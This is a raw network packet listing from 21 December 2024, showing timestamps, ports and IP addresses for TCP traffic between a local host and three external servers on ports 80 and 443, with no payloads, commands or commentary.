Dec 21, 2024 18:16:14.955321074 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.955372095 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.955430984 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.955508947 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.956396103 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.956445932 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.956482887 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.956527948 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.957473993 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.957524061 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.957557917 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.957602024 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.958492041 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.958539963 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.958621025 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.958667040 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.959556103 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.959623098 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.959655046 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.959697962 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.960637093 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.960691929 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.960716009 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.960760117 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.961687088 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.961744070 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.961838007 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.961884022 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.962732077 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.962783098 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.962824106 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.962872982 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.963773012 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.963823080 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.963891983 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.963937998 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.964850903 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.964894056 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.964982986 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.965029001 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.965954065 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.966001987 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.966093063 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.966159105 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.967200994 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.967247963 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.967333078 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.967374086 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.968195915 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.968251944 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.968282938 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.968328953 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.969069004 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.969115973 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.969208002 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.969254017 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.970135927 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.970184088 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.970285892 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.970333099 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.971242905 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.971297979 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.971347094 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.971395016 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.972256899 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.972302914 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.972368956 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.972414017 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.973310947 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.973359108 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.973481894 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.973522902 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.974411964 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.974469900 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.974562883 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.974610090 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.975454092 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.975502014 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.975512028 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.975559950 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.976512909 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.976566076 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.976607084 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.976645947 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.977538109 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.977582932 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.977682114 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.977730036 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.978626966 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.978669882 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.115755081 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.115875959 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.115955114 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.115992069 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.116003990 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.116039038 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.116056919 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.116142988 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.116909027 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.116955042 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.117026091 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.117074013 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.117899895 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.117940903 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.118040085 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.118098974 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.118952036 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.118993998 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.119033098 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.119075060 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.119972944 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.120021105 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.120065928 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.120106936 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.121026993 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.121052980 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.121073008 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.121100903 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.122060061 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.122100115 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.122167110 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.122206926 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.123091936 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.123133898 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.123215914 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.123251915 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.124174118 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.124217033 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.124258041 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.124306917 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.125186920 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.125228882 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.125366926 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.125406027 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.126235008 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.126297951 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.126344919 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.126399994 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.127271891 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.127320051 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.127352953 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.127393007 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.128318071 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.128360033 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.128411055 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.128453016 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.129359007 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.129400015 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.129446983 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.129487991 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.130440950 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.130480051 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.130554914 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.130597115 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.131469965 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.131513119 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.131542921 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.131584883 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.132483006 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.132525921 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.132607937 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.132648945 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.133584976 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.133626938 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.133766890 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.133810997 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.134601116 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.134638071 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.134643078 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.134686947 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.135639906 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.135693073 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.135785103 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.135831118 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.136766911 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.136838913 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.136912107 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.136960030 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.137746096 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.137800932 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.137835026 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.137881994 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.138783932 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.138833046 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.138844013 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.138890982 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.139837980 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.139887094 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.139902115 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.139949083 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.140877008 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.140924931 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.141048908 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.141099930 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.141988993 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.142035961 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.142111063 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.142160892 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.142946959 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.142996073 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.143053055 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.143110037 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.144001007 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.144049883 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.144134045 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.144182920 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.145025969 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.145072937 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.145102978 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.145149946 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.146047115 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.146096945 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.146198034 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.146245956 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.147104025 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.147175074 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.147219896 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.147269964 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.148154020 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.148201942 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.148235083 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.148283005 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.149236917 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.149264097 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.149290085 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.149307013 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.150223017 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.150271893 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.150563002 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.150625944 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.151263952 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.151310921 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.151345015 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.151403904 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.152312994 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.152359962 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.152440071 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.152487040 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.153347969 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.153394938 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.153465033 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.153512955 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.154385090 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.154429913 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.154525995 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.154572964 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.155468941 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.155499935 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.155527115 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.155541897 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.156495094 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.156543016 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.156608105 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.156655073 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.157533884 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.157582045 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.157684088 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.157730103 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.158564091 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.158611059 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:15.158628941 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:15.158679008 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:17.381515026 CET	49764	80	192.168.2.4	185.215.113.43
Dec 21, 2024 18:16:17.381856918 CET	49786	80	192.168.2.4	185.215.113.43
Dec 21, 2024 18:16:17.408643961 CET	49787	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:17.408668995 CET	443	49787	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:17.408742905 CET	49787	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:17.411942959 CET	49787	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:17.411957979 CET	443	49787	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:17.502579927 CET	80	49786	185.215.113.43	192.168.2.4
Dec 21, 2024 18:16:17.502621889 CET	80	49764	185.215.113.43	192.168.2.4
Dec 21, 2024 18:16:17.502667904 CET	49786	80	192.168.2.4	185.215.113.43
Dec 21, 2024 18:16:17.502680063 CET	49764	80	192.168.2.4	185.215.113.43
Dec 21, 2024 18:16:17.502876997 CET	49786	80	192.168.2.4	185.215.113.43
Dec 21, 2024 18:16:17.628529072 CET	80	49786	185.215.113.43	192.168.2.4
Dec 21, 2024 18:16:18.652808905 CET	443	49787	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:18.652930021 CET	49787	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:18.655078888 CET	49787	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:18.655087948 CET	443	49787	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:18.655477047 CET	443	49787	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:18.706465960 CET	49787	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:18.706484079 CET	49787	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:18.706705093 CET	443	49787	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:18.998589993 CET	80	49786	185.215.113.43	192.168.2.4
Dec 21, 2024 18:16:18.998807907 CET	49786	80	192.168.2.4	185.215.113.43
Dec 21, 2024 18:16:18.999736071 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:19.000046968 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:19.079698086 CET	443	49787	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:19.079816103 CET	443	49787	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:19.079960108 CET	443	49787	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:19.080004930 CET	49787	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:19.080059052 CET	443	49787	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:19.080255985 CET	443	49787	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:19.080333948 CET	49787	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:19.081851959 CET	49787	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:19.081891060 CET	443	49787	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:19.081918955 CET	49787	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:19.081950903 CET	443	49787	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:19.121665001 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:19.121742964 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:19.121761084 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:19.121804953 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:19.122100115 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:19.169780016 CET	49789	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:19.169872046 CET	443	49789	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:19.170031071 CET	49789	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:19.170317888 CET	49789	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:19.170356035 CET	443	49789	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:19.241835117 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.391993999 CET	443	49789	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:20.392072916 CET	49789	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:20.393657923 CET	49789	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:20.393670082 CET	443	49789	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:20.394687891 CET	443	49789	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:20.396167040 CET	49789	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:20.396210909 CET	49789	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:20.396303892 CET	443	49789	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:20.448914051 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.448960066 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.449016094 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.449016094 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.449019909 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.449059963 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.449074984 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.449096918 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.449109077 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.449134111 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.449139118 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.449172020 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.449181080 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.449208975 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.449220896 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.449249029 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.449250937 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.449290037 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.449294090 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.449337959 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:20.569288969 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.569344997 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:20.569350004 CET	49788	80	192.168.2.4	31.41.244.11
